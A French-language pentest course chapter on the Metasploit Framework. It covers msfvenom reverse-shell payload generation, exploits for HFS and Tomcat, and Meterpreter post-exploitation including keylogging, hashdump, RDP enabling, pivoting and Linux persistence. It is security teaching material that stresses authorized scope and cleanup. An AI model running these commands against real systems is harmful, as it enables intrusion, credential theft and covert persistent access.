Chapitre 8 : The Metasploit Framework (MSF)

MSF

Maîtriser le Framework Central du Pentest

Ce chapitre se concentre sur ce qui n'a pas encore été vu : architecture MSF, génération de payloads, exploits spécifiques (HFS, Tomcat), Meterpreter et post-exploitation avancée (Windows & Linux).

1. Fondamentaux MSF

Architecture, console, génération et automatisation de payloads.

2. Exploitation Ciblée

HTTP File Server, Tomcat, et prise en main de Meterpreter.

3. Post-Exploitation Avancée

Modules Windows/Linux, pivoting, persistance et interface Armitage.

Objectifs pédagogiques

Fondamentaux

À la fin du chapitre, l'objectif n'est pas seulement de connaître des commandes MSF, mais de comprendre quand, pourquoi et comment les utiliser dans une chaîne de pentest.

Comprendre

  • Architecture de Metasploit et rôle de chaque type de module.
  • Différence entre exploit, payload, handler, session et module post.
  • Différence staged / stageless et bind / reverse.

Pratiquer

  • Rechercher un module et lire ses options.
  • Identifier le bon payload selon le réseau et la cible.
  • Passer de l'exploitation à la reconnaissance puis à la post-exploitation.

Metasploit dans une méthodologie de pentest

Workflow

MSF n'est pas une méthodologie complète à lui seul. Il devient particulièrement puissant lorsqu'il est alimenté par les résultats de reconnaissance et d'énumération.

1. Recon

Nmap, DNS, SMB, HTTP...

2. Identifier

Version, service, vulnérabilité

3. Choisir

Exploit + payload

4. Exploiter

Session

5. Valider

Utilisateur, privilèges, système

6. Post-exploit

Collecte contrôlée

7. Pivot

Réseaux internes

8. Nettoyer

Retirer artefacts

Architecture MSF — Les briques à retenir

Architecture

Exploit

Déclenche ou exploite une condition vulnérable sur la cible.

Exemple : exploit/windows/http/...

Payload

Définit ce qui doit se passer après l'exploitation réussie.

Exemple : meterpreter/reverse_tcp

Auxiliary

Scan, brute force, découverte ou actions qui ne nécessitent pas forcément une exploitation.

Post

Actions effectuées après obtention d'une session.

Encoder / NOP

Transformation ou remplissage du payload ; à distinguer d'une véritable technique moderne de bypass.

Evasion

Modules et mécanismes destinés à réduire certaines détections. Ils ne garantissent pas l'évasion d'un EDR.

Exploit ≠ Payload ≠ Session

Concept clé

C'est l'une des distinctions les plus importantes à maîtriser. Un exploit obtient une exécution ; le payload définit ce que l'on exécute ; la session est le canal interactif obtenu.

Vulnérabilité → Exploit → Payload → Communication → Session

Exploit

Profite d'une faiblesse précise : version vulnérable, mauvaise configuration, auth faible, etc.

Payload

Shell, Meterpreter, commande simple ou autre charge adaptée à la cible.

Session

Point d'interaction avec la machine après succès : shell, Meterpreter, etc.

Lire un module avant de l'exécuter

Module Selection

La bonne pratique consiste à lire le module avant de lancer l'exploitation. Les options indiquent souvent les prérequis, la version ciblée et le comportement attendu.

search type:exploit hfs
use exploit/windows/http/rejetto_hfs_exec
info
show options
show payloads
show targets

À vérifier

  • Produit et version affectés
  • Architecture / OS
  • RHOSTS, RPORT, LHOST, LPORT
  • Target et payload compatibles

À éviter

  • Lancer un exploit uniquement parce que le nom ressemble au service.
  • Confondre une version détectée avec une version réellement vulnérable.
  • Changer plusieurs options sans comprendre leur rôle.

RHOSTS, RPORT, LHOST, LPORT

Networking

Ces variables sont souvent la source des erreurs de configuration. R = Remote et L = Local, du point de vue de l'attaquant.

Cible

  • RHOSTS : adresse(s) distante(s) ciblée(s).
  • RPORT : port du service distant.

Attaquant

  • LHOST : adresse locale que la cible doit pouvoir joindre.
  • LPORT : port d'écoute côté attaquant.
Attaquant : LHOST:LPORT  ←── connexion reverse ──  Cible : RHOST:RPORT

Point réseau : avec un reverse payload, LHOST doit être une adresse réellement joignable depuis la cible, pas simplement l'IP de l'interface VPN si le routage ne le permet pas.

Payloads Staged vs Stageless

Payloads

Staged

Un petit stager établit d'abord la communication puis récupère le reste du payload.

stager → connexion → stage complet

Avantage : taille initiale réduite. Dépend davantage de la connectivité et du protocole utilisés.

Stageless

Le payload complet est embarqué dès le départ.

payload complet → connexion

Avantage : moins de dépendance au chargement d'un second stage, mais fichier généralement plus volumineux.

Reverse Shell vs Bind Shell

Networking

Reverse

Cible ─────► Attaquant

La cible initie la connexion vers l'attaquant. Souvent pratique lorsque les connexions entrantes vers la cible sont filtrées.

Bind

Attaquant ─────► Cible

La cible écoute sur un port et l'attaquant se connecte. Peut être bloqué par le firewall entrant de la cible.

Le choix dépend du chemin réseau, des ACL/firewalls, du NAT et de la capacité de chaque extrémité à initier une connexion.

msfconsole — Commandes fondamentales

Cheatsheet
help
search <terme>
use <module>
info
show options
show payloads
show targets
set RHOSTS @IP_cible
set RPORT 80
set LHOST @IP_attaquant
set LPORT 4444
check
run / exploit
back
sessions -l
sessions -i <ID>

Réflexe : search → use → info → show options → check → run. Quand check est disponible, il permet parfois de vérifier la précondition sans lancer immédiatement l'exploitation.

Base de données & Workspaces

Organisation

La base de données permet à MSF de conserver les informations découvertes : hôtes, services, vulnérabilités et sessions. Le workspace sépare les données entre missions.

msfdb init
workspace -a CLIENT_TEST
workspace
hosts
services
vulns
creds
sessions -l
workspace -d CLIENT_TEST

Pourquoi ?

Éviter de mélanger les résultats de plusieurs périmètres et faciliter le suivi d'une mission.

db_nmap

db_nmap exécute Nmap et importe les résultats dans le workspace courant.

Auxiliary — MSF comme outil d'énumération

Discovery

Metasploit ne sert pas uniquement à exploiter. Les modules auxiliary permettent aussi de scanner, identifier des services et tester certaines configurations.

search type:auxiliary scanner
use auxiliary/scanner/portscan/tcp
set RHOSTS @IP_cible
set PORTS 1-1000
run

Exemples

  • Scanners TCP/UDP
  • HTTP / SMB / FTP / SSH
  • Brute force ciblé
  • Collecte d'informations

Positionnement

Utiliser l'auxiliary lorsque l'objectif est de détecter ou collecter, pas nécessairement d'obtenir une exécution de code.

Comprendre le Handler

Sessions

Le multi/handler joue le rôle de point d'écoute pour certains payloads générés avec msfvenom. Le payload et le handler doivent utiliser des paramètres compatibles.

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST @IP_attaquant
set LPORT 4444
run

Avant l'exécution

Le listener doit être accessible et écouter sur le port attendu.

Si aucune session

Vérifier LHOST, LPORT, firewall, routage, NAT, architecture et compatibilité du payload.

Meterpreter — Comprendre la session

Post-Exploitation

Identification

sysinfo
getuid
getpid

Navigation

pwd
ls
cd
search -f *.conf

Sessions

background
sessions -l
sessions -i 1

Après l'obtention d'une session, commencer par identifier le contexte : OS, utilisateur, processus et réseau. Ne pas exécuter immédiatement des actions intrusives.

Session : Shell, Meterpreter et stabilité

Sessions

Shell

Accès souvent plus brut : commandes système disponibles selon l'environnement.

shell
/bin/bash

Meterpreter

Interface structurée avec commandes de collecte, migration, pivoting et gestion de fichiers.

getuid
sysinfo
ps

Stabilité : une session peut dépendre d'un processus ou d'un canal réseau. Une migration peut changer le contexte, mais doit être réalisée avec prudence et dans le périmètre autorisé.

Meterpreter & Réseau — Comprendre les Routes

Pivoting

Une session compromise peut servir de point de passage vers un réseau inaccessible directement depuis l'attaquant.

Attaquant
   │
   │ session Meterpreter
   ▼
[Machine pivot]
   │ 10.10.20.0/24
   ├──────────► Serveur interne
   └──────────► autre service

Le principe est : route connue → trafic envoyé via la session → cible interne. C'est la même logique que Proxychains étudiée au chapitre précédent, mais intégrée à MSF.

Post-Exploitation : ordre logique

Méthodologie

1

Who am I ?

getuid / whoami

2

What system ?

sysinfo

3

What access ?

privileges / groups

4

What network ?

interfaces / routes

5

What is exposed?

services / shares

6

What can be escalated?

local privesc

7

What can be reached?

pivoting

8

Document & clean

evidence / cleanup

Arbre de décision Metasploit

Decision Tree
Service identifié ?
       │
       ├── Non → auxiliary / scanner / Nmap
       │
       └── Oui
            │
            ├── Version vulnérable connue ?
            │       ├── Oui → search → info → check → exploit
            │       └── Non → poursuivre l'énumération
            │
            └── Session obtenue ?
                    ├── Non → revoir réseau / payload / options
                    └── Oui → sysinfo → getuid → réseau → post → pivot

Principe : une erreur d'exploitation n'implique pas que la vulnérabilité est absente. Vérifier d'abord la version, la cible, les options, le réseau et le payload.

MSF — Vue d'Ensemble & Architecture

Concepts

Qu'est-ce que Metasploit ?

  • Framework de pentest et d'exploitation open-source, utilisé par les pentesters et chercheurs en sécurité du monde entier.
  • Fournit l'infrastructure nécessaire pour automatiser chaque étape du cycle de vie d'un pentest.
  • Conçu pour être modulaire — de nouveaux exploits sont ajoutés en continu par la communauté (code source disponible sur GitHub).

Architecture — Types de Modules

  • Exploits : code exploitant une vulnérabilité spécifique.
  • Payloads : code exécuté une fois l'exploitation réussie (ex: Meterpreter).
  • Auxiliary : scan, énumération, fuzzing — sans exploitation directe.
  • Encoders / NOPs : transformation du payload pour éviter certaines détections.
  • Post : modules exécutés après un accès obtenu (post-exploitation).

Installation & Prise en Main de la Console

MSF Fundamentals

Installation & Base de Données

# Démarrer le service PostgreSQL
sudo systemctl start postgresql

# Initialiser la base de données MSF
sudo msfdb init

Recherche & Organisation

# Rechercher un module par CVE, type et plateforme
search cve:2021 type:exploit platform:windows

# Créer et gérer des espaces de travail
workspace -a nom_projet
workspace

Générer des Payloads avec Msfvenom

Msfvenom

Concepts

  • Msfvenom génère des payloads autonomes, indépendamment d'un exploit — utile pour des scénarios d'accès initial variés.
  • Staged : payload en 2 temps (petit stager, puis chargement du payload complet). Stageless : tout est inclus en un seul fichier.
  • Supporte de nombreux formats de sortie (exe, elf, asp, war...) et plateformes (Windows, Linux, etc.).

Démo Condensée

# Lister les payloads / formats disponibles
msfvenom --list payloads
msfvenom --list formats

# Générer un payload Windows (x86 et x64)
msfvenom -a x86 -p windows/meterpreter/reverse_tcp \
  LHOST=@IP_attaquant LPORT=1234 -f exe > payload_x86.exe

# Générer un payload Linux (ELF)
msfvenom -p linux/x86/meterpreter/reverse_tcp \
  LHOST=@IP_attaquant LPORT=1234 -f elf > payload_linux

# Handler en écoute côté attaquant
use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST @IP_attaquant
set LPORT 1234
run

Encoder un Payload

Msfvenom / Encoders

Concepts

  • L'encodage transforme la structure binaire d'un payload, historiquement utilisé pour tenter d'échapper à une détection basée sur signature simple.
  • Important : les antivirus modernes détectent la plupart des encodeurs connus — l'encodage seul n'est plus une technique d'évasion fiable, il reste utile à connaître pour comprendre son fonctionnement.

Démo

# Lister les encodeurs disponibles
msfvenom --list encoders

# Encoder un payload (shikata_ga_nai, 10 itérations)
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=@IP_attaquant LPORT=1234 \
  -i 10 -e x86/shikata_ga_nai -f exe > payload_encode.exe

Attaques Côté Client — Concepts

Client-Side

Ce qui les Distingue

  • Contrairement à l'exploitation d'un service, une attaque côté client repose sur l'action d'un utilisateur qui exécute volontairement un fichier reçu — souvent combinée à l'ingénierie sociale (chapitre 6).
  • Un multi/handler doit être en écoute avant l'envoi du payload à la cible.
  • Ce type de test ne doit être mené que dans un cadre strictement autorisé par le mandat, avec des scénarios validés à l'avance — jamais improvisé.

Automatiser MSF avec des Resource Scripts

Automation

Concepts

  • Un resource script (fichier .rc) enregistre une séquence de commandes msfconsole à rejouer automatiquement.
  • Utile pour standardiser une démo, un scan répétitif, ou la mise en place systématique d'un handler.

Démo

# Lancer msfconsole avec un script préécrit
msfconsole -r script_auto.rc

# Contenu type d'un script (exemple)
# use multi/handler
# set payload windows/meterpreter/reverse_tcp
# set LHOST @IP_attaquant
# set LPORT 4444
# run

Exploiter un HTTP File Server (HFS)

HFS Exploit

Concepts

  • HFS (HTTP File Server) est un serveur de fichiers léger pour Windows, historiquement affecté par une faille de traitement des requêtes de recherche (CVE-2014-6287) permettant l'exécution de commandes à distance.

Démo

msfconsole
db_nmap -sV @IP_cible

search hfs
use exploit/windows/http/rejetto_hfs_exec
set rhosts @IP_cible
run
# --> session Meterpreter

Exploiter un Serveur Tomcat Vulnérable

Tomcat Exploit

Concepts

  • Apache Tomcat est un conteneur de servlets Java, souvent exposé sur le port 8080.
  • Un identifiant par défaut ou faible sur l'interface d'administration (Manager) permet d'y déployer une archive .war malveillante et d'exécuter du code.

Démo

db_nmap -sV -p8080 @IP_cible

# Tester les identifiants par défaut/faibles
use auxiliary/scanner/http/tomcat_mgr_login
set rhosts @IP_cible
run

# Déployer un payload via l'interface Manager
use exploit/multi/http/tomcat_mgr_upload
set httpusername admin
set httppassword motdepasse
set rhosts @IP_cible
run

Fondamentaux Meterpreter

Meterpreter

Concepts

  • Payload interactif et polyvalent qui s'exécute entièrement en mémoire, multiplateforme.
  • Fournit un ensemble riche de commandes pour explorer, transférer et interagir avec le système compromis.

Commandes Essentielles

sessions -h                  # aide sur la gestion de sessions
sysinfo                      # informations sur le système
getuid                       # utilisateur courant
download <fichier>           # télécharger un fichier
getenv <nom>                 # afficher une variable d'environnement
search -f *<nom>*            # rechercher un fichier sur tout le système

Passer d'un Shell Classique à Meterpreter

Shell → Meterpreter

Démo

# Depuis une session shell basique (ex: via un module auxiliaire)
use post/multi/manage/shell_to_meterpreter
set LHOST @IP_attaquant
set session <n°_session>
run
# --> nouvelle session Meterpreter, plus riche en fonctionnalités

Modules de Post-Exploitation Windows

Post-Exploitation

Reconnaissance depuis Meterpreter

getsystem              # tenter une élévation de privilège
ps                     # lister les processus
migrate <PID>          # migrer vers un autre processus

Modules Post Utiles

use post/windows/gather/win_privs
use post/windows/gather/enum_logged_on_users
use post/windows/gather/checkvm
use post/windows/gather/enum_applications
use post/windows/gather/enum_av_excluded
use post/windows/gather/enum_computers
use post/windows/gather/enum_patches
use post/windows/gather/enum_shares

Activer le RDP & Keylogging

RDP / Keylogging

Activer l'Accès RDP

# Depuis une session Meterpreter en background
use post/windows/manage/enable_rdp
set sessions <n°>
run
# --> le service RDP est démarré sur la cible

xfreerdp /u:utilisateur /p:motdepasse /v:@IP_cible

Keylogging

# Nécessite le processus explorer.exe (migrer dessus)
migrate <PID_explorer>

keyscan_start
# ... l'utilisateur tape sur la machine cible ...
keyscan_dump
keyscan_stop

Pivoting avec Metasploit (Natif)

Pivoting

Alternative Native à Proxychains (déjà vu au chapitre 7)

# Créer une route vers un sous-réseau via la session compromise
run autoroute -s @IP_sousreseau
sessions -m Cible_1 -i 1        # renommer la session

# Scanner directement le 2e réseau depuis msfconsole
use auxiliary/scanner/portscan/tcp
set rhosts @IP_cible2
run

# Alternative : rediriger un port précis vers l'attaquant
portfwd add -l 1234 -p 445 -r @IP_cible2
db_nmap -sS -sV -p1234 @IP_cible2

Post-Exploitation Linux — Modules

Linux Post-Exploitation

Reconnaissance Manuelle

whoami
cat /etc/passwd
groups <username>
cat /etc/*issue          # version de la distribution
ps aux                   # processus actifs

Modules Post Utiles

use post/linux/gather/enum_configs
use post/linux/gather/enum_network
use post/linux/gather/enum_protections
use post/linux/gather/enum_system
use post/linux/gather/checkvm
use post/linux/gather/enum_users_history
use post/linux/gather/hashdump

Escalade de Privilèges — Programme Vulnérable

Linux Privesc

Méthodologie

  • Après un accès initial, inspecter les processus actifs (ps aux) à la recherche d'un programme s'exécutant avec des privilèges élevés et disposant d'une vulnérabilité connue.
  • Exemple historique : l'outil chkrootkit, exécuté périodiquement par un cron root sur certains systèmes, contient une faille locale bien documentée (CVE-2014-0476) exploitable via un module Metasploit dédié.

Démo

ps aux   # repérer un programme suspect exécuté en root

use exploit/unix/local/chkrootkit
set sessions <n°>
set chkrootkit /path/chkrootkit
run
# --> session avec privilèges élevés si vulnérable

Établir la Persistance sur Linux

Persistence

Concepts

  • Maintenir un accès à un système même après un redémarrage ou une reconnexion — une étape sensible qui doit être explicitement autorisée et nettoyée en fin de mission.
  • Plusieurs vecteurs possibles : tâche cron, service système, clé SSH ajoutée.

Modules de Persistance

use exploit/linux/local/cron_persistence
use exploit/linux/local/service_persistence
use exploit/linux/local/apt_package_manager_persistence

# Persistance par clé SSH
use post/linux/manage/sshkey_persistence
set sessions <n°>
run
# --> récupérer la clé privée générée pour une reconnexion directe

Interfaces Graphiques — Armitage

Armitage

Concepts

  • Interface graphique pour Metasploit, offrant une visualisation des hôtes, sessions actives et options d'exploitation en un coup d'œil.
  • Pratique pour une vue d'ensemble rapide ou une démonstration pédagogique, mais moins flexible que msfconsole pour un usage avancé au quotidien.

Cheatsheet MSF — Réflexes Opérationnels

Quick Reference
msfconsole
search <term>
use <module>
info
show options
show payloads
set RHOSTS @IP
set RPORT <port>
set LHOST @IP
set LPORT <port>
check
run
sessions -l
sessions -i <id>
background
back
workspace
hosts
services
vulns
db_nmap -sV @IP

Workflow à mémoriser : Recon → Search → Info → Options → Check → Exploit → Session → Enumerate → Post-exploit → Pivot → Cleanup.

Synthèse & Methodology Checklist — Chapitre 8

Récapitulatif

Checklist Pratique — Metasploit Framework

  • 1. Organisation : un workspace par mission, base de données initialisée avant de commencer.
  • 2. Payloads : msfvenom pour générer, multi/handler toujours prêt avant l'envoi.
  • 3. Exploitation ciblée : vérifier la version exacte du service (HFS, Tomcat...) avant de lancer un module.
  • 4. Meterpreter : première réflexe après un accès — sysinfo, getuid, migration vers un processus stable.
  • 5. Post-exploitation : les modules gather systématisent la collecte d'informations, Windows comme Linux.
  • 6. Persistance & nettoyage : toute persistance mise en place doit être documentée et retirée en fin de mission.